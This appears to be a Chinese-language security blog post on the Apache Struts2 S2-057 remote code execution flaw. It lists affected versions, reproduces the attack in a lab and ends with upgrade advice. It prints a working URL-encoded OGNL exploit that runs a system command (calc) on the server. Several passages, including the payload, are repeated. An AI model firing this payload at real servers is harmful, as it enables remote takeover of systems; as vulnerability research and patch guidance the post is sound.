S2-057漏洞,於2018年8月22日被曝出,該Struts2 057漏洞存在遠程執行系統的命令,
尤其使用linux系統,apache環境,影響範圍較大,危害性較高,如果被攻擊者利用直接提權
到主機管理員權限,網站數據被篡改,數據庫被盜取都會發生。
目前我們eSafe白帽資安網對該S2-057漏洞的測試,發現受影響的版本是Apache Struts 2.3–Apache
Struts2.3.34、Apache Struts2.5–Apache Struts2.5.16等系列版本。官方Apache已經緊急的
對該S2-057漏洞進行了修復。
Struts2.3.34、Apache Struts2.5–Apache Struts2.5.16等系列版本。官方Apache已經緊急的
對該S2-057漏洞進行了修復。
通過國外曝出來的漏洞poc,我們來介紹下Struts2漏洞該如何的利用:
S2-057漏洞產生於網站配置xml的時候,有一個namespace的值,該值並沒有做詳細的安全過
濾導致可以寫入到XML上,尤其url標籤值也沒有做通配符的過濾,導致可以執行遠程代碼,
以及系統命令到主機系統中去。
濾導致可以寫入到XML上,尤其url標籤值也沒有做通配符的過濾,導致可以執行遠程代碼,
以及系統命令到主機系統中去。
我們首先來搭建下struts2的環境,找一台windows主機,使用一鍵部署工具部署好測試環境,
vulhub環境也搭建好如下圖:
vulhub環境也搭建好如下圖:
接下來就是Struts2漏洞的利用與復現過程:
訪問網站192.168.0.3:7080/struts2/${(esafe+esafe)}/actionChain.action
將${(esafe+esafe)}裡的內容換成exp,EXP內容如下:
%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c
%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream(
)%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.Buf
feredReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c
%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().get
Writer()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain.acti
on
%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream(
)%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.Buf
feredReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c
%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().get
Writer()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain.acti
on
複製exp內容到瀏覽器執行,發現主機會直接運行計算器如下圖:
S2-057漏洞修復建議:
升級到Apache Struts最新版本2.3.35或者是Apache Struts最新版本2.5.17,直接升級即可官方
已經做好漏洞補丁,完全兼容。
升級到Apache Struts最新版本2.3.35或者是Apache Struts最新版本2.5.17,直接升級即可官方
已經做好漏洞補丁,完全兼容。